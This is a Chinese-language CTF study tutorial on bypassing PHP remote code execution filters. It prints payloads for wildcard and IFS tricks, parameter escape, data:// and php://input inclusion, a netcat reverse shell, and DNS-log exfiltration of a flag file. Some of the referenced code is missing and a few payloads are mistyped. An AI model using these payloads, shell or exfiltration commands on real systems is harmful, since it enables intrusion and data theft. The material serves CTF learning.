概念RCE(Remote code execution)远程代码执行漏洞,RCE又分命令执行和代码执行。
常见函数有:
绕过姿势*号绕过(ノ*・ω・)ノ这个理解起来其实很简单,这个指令放到Linux里面是这样的 在Linux中,*是一个通配符,代表当前目录下的所有隐藏目录和隐藏文件夹。 我们利用这一点可以绕过CTF中的一些函数。 ps: <?php 我们看上面的if函数里面写的东西,他是禁止出现flag这个字符串,所以我们可以直接使用*来进行绕过。但是这里我们不仅可以使用cat fla*.php也可以使用tac命令来输出这个fla*.php,命令为tac fla*php. 取代函数 (ノ*・ω・)ノ这个方法挺好用的,我们可以看一段具体的php判断代码。
上文我们的system与php都被禁止了,这里我们可以看到上面的PHP执行命令函数。 我们可以使用里面的shell_exec函数,但是我们要注意,shell_exec函数需要我们把结果输出出来。那我们就可以这样构造payload的了 url?c=echo shell_exec('tac/cat fla*); 参数逃逸(ノ*・ω・)ノ我们看到这个姿势,也是通过一个php判断代码 <?php 我们对参数逃逸进行理解 因为是rce漏洞,所以我们可以使用代码在构造一些新的参数,比如说我们构造一个新的参数,那我们在url中可以先这样写。 url?c=eval($_GET['a']); 这样相当于构造了一个新的参数a,然后页面代码又没有对a参数进行限制,所以我们后面可以直接用a参数来进行对flag.php的读取。 url?c=eval($_GET['a']);&a=cat flag.php; 这就是我们所说的参数逃逸。 管道符绕(ノ*・ω・)ノ管道符这里我们分为两个系统的: windows
Linux
包含漏洞+伪协议 (ノ*・ω・)ノ这个绕过需要用到我们之前讲到的参数逃逸的思想,我们通过一个例子来看。
我们可以看到echo,;和我们之前用的反引号都被过滤掉了,那么既然分号与反引号都被注释掉了,我们就可以使用文件包含的思路。 url?c=include$_GET[a]?> 我们使用?>来将这个php语句进行完成,然后我们后面跟上php的伪协议。这样我们的payload就变成了。 payload:url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?> 这里我们使用data协议是因为,用户的输入会被当做php文件来执行,这样一来就达到了我们绕过的思路。 但是我们也可以使用其他的协议。 1.url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php 2.url?c=include$_GETa]?>&a=php://input post:<?php system('tac flag.php');?> 关键字绕过(总体)(ノ*・ω・)ノ这里包含了很多中不同的绕过方式,但是都是属于关键字绕过这个大板块的。 空格绕过在Linux中,空格可以替换为以下几种: <<>${IFS}$IFS%20(space)%09(tab)$IFS$9$IFS$1等等 cat<flag.php 这里主要是代码审计,看看那些是没有被过滤的,灵活运用。 转义绕过我们可以使用反斜杠进行转义 ps:
这个就不多说了。 特殊变量绕过我们可以使用Linux中的一些特殊变量进行绕过 ps: $* $@ $x ${X} //这里的x代表任意值 ca$*t flag.php 这些都是shell的特殊变量,也是可以用来绕过的,这种类型可以用在过滤了cat这种命令或者其他关键字符串上面使用。 RE绕过这个也就是我们最开始的fla*.php。没什么好讲的。 其实这个应该也可以叫做正则表达式绕过。但是我想说,这里还有一个骚操作 比如说我们一下这个实列:
Base64编码绕过这个可以用在一些命令被过滤的情况下使用,比如说我们的ls命令被过滤了,那我们可以将ls这个命令编码 echo 'ls' | base64 拼接法这个的大概思路为,用两个参数来保存flag这个字符串的每个部分。大致如下 a=fl;b=ag;cat$IFS$a$b; 类似于这种。 过滤命令执行函数(ノ*・ω・)ノ内敛绕过这个其实很简单,就是将反引号内的命令的输出作为输入执行。 payload:url?c=127.0.0.1;cat$IFS$!`ls` 会抓取ls返回的所有文件内容。 内敛绕过还有其他的写法,比如下面: echo $(ls); ?><?=`ls1; ?><?=$(ls); 使用其他函数还记得我们前面讲的取代函数吗?和这个的思路一样,如果我们的执行命令函数被过滤的花花,我们就需要更换函数了 我们除了shell_exec()还可以用以下几种 system() passthru() exec() popen() proc_open() pcntl_exec() highlight_file() 读取文件这里我们这样玩,我们除了cat可以显示文本内容以外,在CTF中我们还可以使用一下几个姿势
字符串长度限制(ノ*・ω・)ノ这个挺有意思的,在CTF中,题目可能会限制你输入的长度,如果说我们要绕过他的话,我们可以只用上文中的一些思想,我们直接看payload cat flag 首先是里面的一些命令
我们首先是用touch命令创建了几个文件,但是他们的文件名是我们的主要。我们使用两个\\的原因在于,第一个\用于将后面的\变成字符串,第二个\是用来将后面的文本转换为字符串,以便用于后面的测试。 这样我们shell里面的样子应该是这样的:
因为\就是用来换行的,不然他们连在一起也无法被解析。 $PATH (ノ*・ω・)ノ这个是利用环境变量来达到截取字母绕过的目的。 这里我们可以举一个例子: echo $PATH Linux中${PATH:a:b}我们可以理解为从a位开始截取,截取b个长度(/也算一位) 那我们对应这来的话就是这样的 / o p t / j d k - 2 1 / b i n 0 1 2 3 4 5 6 7 8 9 10 11 12 13 比如说我们echo ${PATH:3:2} 那就表示,我们从t开始,往后截取两位数 输出: t/ 但是这样可能也会出现一些没有的字母,但是我们需要那个字母的情况,这个时候我们可以自己取构造一个PATH。
我们直接将全部的字母和数字都放到环境变量中,需要的时候我们就用上面的那个方法进行构造payload。 无回显RCE无回显顾名思义没有回显的远程代码执行漏洞,那对于这种情况我们可以这样思考 sleep函数测试我们在无回显rce中可以使用sleep函数测试一下页面的回响,比如说我们这样写 url?c=ls;sleep 3 http请求dns请求 http:///payloads 如果说我们在进行sleep测试的时候确实停了3秒,那么我们可以进行一下的一些思路。 shell获取权限拿flag更具上面的sleep测试,首先页面无回显,那么我们就不能单纯的在进行我们上面的rce的bypass了,我们可以使用写shell的方式,但是这个shell可以是我们直接写的(echo shell>xxxx.sh)也可以是我们下载的(wget)。 我们手写的话就是这样走: url?c=nc -e /bin/sh ip port 然后我们本地在使用nc进行监听。 这样是一种拿到flag的一种思路。 DNSlogdnslog主要争对无回显的情况
但是我们这里只谈RCE的使用。 首先我们介绍一什么是dnslog。 原理DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。 我们用一个例子来理解这个东西:
我们可以看到我们这个ping的命令将example.ABsec.com一起发给了DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。也就是说,只要可以进行DNS请求,就有可能存在DNSlog注入。 DNSlog常规的Linux的注入是这个样子的payload curl http://ip.port.exp./`whoami` //这里的exp.就是我们identifier,这里的ip与port均为靶机的ip与port。命令而已自己尝试这换。 举例我们拿NSSCTF里面的一道题目举例子
我们看到上面代码,进行代码审计 首先是过滤了;,&,$,x09,x26等关键字,而且还过滤的ping。 在url上面传入一个cmd参数。 再往下看,发现了shell_exec,那么基本可以判定是无回显RCE了。 那我们就可以试试使用DNSlog来进行渗透了。 我们需要用到下面的identifier,这个就是我们后面需要跟的那个域名。 那我们的payload这样写就可以了 payload:url?cmd=curl `cat /fla*`.域名 我们这样写,然后运行,回到我们的ceye中查看flag。 总结以上就是我对于RCE学习的一个总结,其中也借鉴了很多网上大佬们的文章,也有视频学习的笔记。如果有不足,会很快改的。 文章来源: https://www.freebuf.com/articles/web/393156.html 文章作者:An1me_Buck3t 如有侵权请联系我们,我们会进行删除并致歉 |
|